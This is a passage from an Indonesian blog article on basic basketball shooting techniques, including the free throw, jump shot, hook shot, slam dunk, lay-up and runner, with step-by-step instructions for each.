  • Lenturkan pergelangan atau jari-jari pergelangan agar bola bisa masuk ke sasaran dengan tepat
  • Lepaskan ibu jari dan dorong bola ke arah depan ke power yang seimbang
  • Imbangi pergerakan tangan dan jari jemari saat bola mulai terlepas
  • Sesuaikan dengan irama agar pergerakan bola dapat seimbang
  1. Free Throw (Lemparan Bebas)

Teknik lemparan bebas ke arah lubang ring atau Free Throw merupakan usaha untuk memasukan bola ke lubang ring dengan gaya bebas. Untuk bisa melakukan teknik lembaran bebas ini, dibutuhkan yang namanya keahlian, konsentrasi, keyakinan dan kebiasaan yang mereka lakukan dalam latihannya. Selain itu, agar bola dapat masuk ke sasaran dengan tepat, maka perhatikan juga ritme dan irama serta dukung dengan kerileksan yang anda lakukan.

Untuk melakukan teknik shooting dengan lemparan bebas ini. Berikut adalah cara yang bisa anda lakukan dengan baik dan benar:

  • Lihat posisi target ring, apakah sudah dekat dengan posisi anda ataukah belum
  • Rentangkan kedua kaki, bahu dan punggung
  • Kemudian rentangkan siku untuk memulai memasukan bola
  • Lenturkan posisi pinggang dan gerakan jari-jari untuk mulai memasukan bola ke arah ring lawan
  • Lepaskan jari telunjuk dan dorong bola ke arah depan ke power yang seimbang
  • Imbangi pergerakan tangan dan jari jemari saat bola mulai terlepas
  • Sesuaikan dengan irama agar pergerakan bola dapat seimbang
  1. Jum Shoot (Tembakan Melompat)

Pada dasarnya, teknik tembakan melompat dalam bola basket sama dengan teknik tembakan satu tangan. Hanya saja, untuk teknik tembakan melompak dibutuhkan lompatan yang lebih tinggi agar bola dapat masuk ke ring dengan sempurna. Dimana dalam teknik ini, pemain bisa melakukan lompatan tinggi dan setelah itu bola dilempar masuk ke dalam ring.

Untuk melakukan teknik shooting dengan tembakan melompak dalam bola basket. Berikut adalah cara yang bisa anda lakukan dengan baik dan benar:

  • Ambil ancang-ancang untuk melompak dan kemudian menembak bola ke sasaran ring
  • Untuk tinggi lompatan sesuaikan dengan jarak tembakan
  • Rentangkan kedua kaki, bahu dan punggung
  • Kemudian rentangkan siku untuk memulai memasukan bola
  • Lenturkan posisi pinggang dan gerakan jari-jari untuk mulai memasukan bola ke arah ring lawan
  • Lepaskan jari telunjuk dan dorong bola ke arah depan ke power yang seimbang
  • Imbangi pergerakan tangan dan jari jemari saat bola mulai terlepas
  • Sesuaikan dengan irama agar pergerakan bola dapat seimbang
  1. Hoot Shoot (Tembakan Mengait)

Untuk bisa mendapatkan poin dengan langkah yang lebih mudah, maka teknik tembakan mengait dalam bola basket ini bisa menjadi pilihannya. Dimana tembakan mengait sangat sering dilakukan untuk mengecoh lawan agar tidak bisa menahan atau menepis bola yang sedang digiring.

Untuk melakukan teknik shooting dengan tembakan mengait. Berikut adalah cara memegang bola basket yang bisa anda lakukan dengan baik dan benar:

  • Ambil langkah kira-kira 3 – 4 m dari jarak ring, pivot ke arah depan
  • angkat bola sejajar dengan arah telinga
  • Seimbangkan tangan hingga bola dapat sampai masuk ke lubang ring
  1. Slam Dunk

Slam Dunk merupakan teknik shooting bola basket yang dilakukan dengan cara memasukan bola basket ke arah ring dengan cara menghujam. Dimana untuk bisa melakukan teknik ini dibutuhkan keahlian hingga mereka dapat memasukan bola dengan sempurna. Adapun teknik yang bisa dilakukan adalah sebagai berikut:

  • Ambil ancang-ancang sambil melihat posisi ring
  • Lombatkan badan searah dengan tiang ring
  • Masukan bola dengan posisi satu tangan memegang ring dan satu tangan memegang bola
  • Seimbangkan tubuh hingga bola masuk dengan sempurna
  1. Lay-up

Lay-Up atau yang biasa disebut dengan tembakan bola yang berdekatan dengan arah ring ini menjadi keunggulan teknik bola basket berikutnya. Dimana teknik ini sangat sering dilakukan para pemain basket untuk mencetak bola lebih banyak lagi. Adapun teknik yang bisa dilakukan adalah sebagai berikut:

  • Ambil ancang-ancang hingga berjarak 3 – 4 m dari arah ring
  • Angkat lutut dan bersiap tembakan bola ke arah ring lawan
  • Arahkan bola sejajar dengan telinga, lenturkan pergerakan jari-jari hingga bola dapat dimasukan ke arah ring secara sempurna
  • Lepaskan bola dari jari telunjuk dengan pergerakan halus
  1. Runner

Runner sama dengan teknik Lay-Up namun dengan jarang yang sedikit di perpanjang. Teknik ini biasanya dilakukan apabila lawan sedang lengah dengan pergerakan pemain. Adapun teknik yang bisa dilakukan adalah sebagai berikut:

  • Lihat posisi sasaran
  • Posisi lutut sedikit ditekuk
  • Ambil posisi dengan menaikan tangan ke atas
  • Lembar bola ke arah ring
  • Seimbangkan posisi badan ketika melakukan pendaratan

Itulah teknik dasar bola basket shooting yang dapat anda ketahui. Pelajari teknik dasar permainan bola basket untuk menguasai teknik permainan olahraga ini.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Newer Posts
Older Posts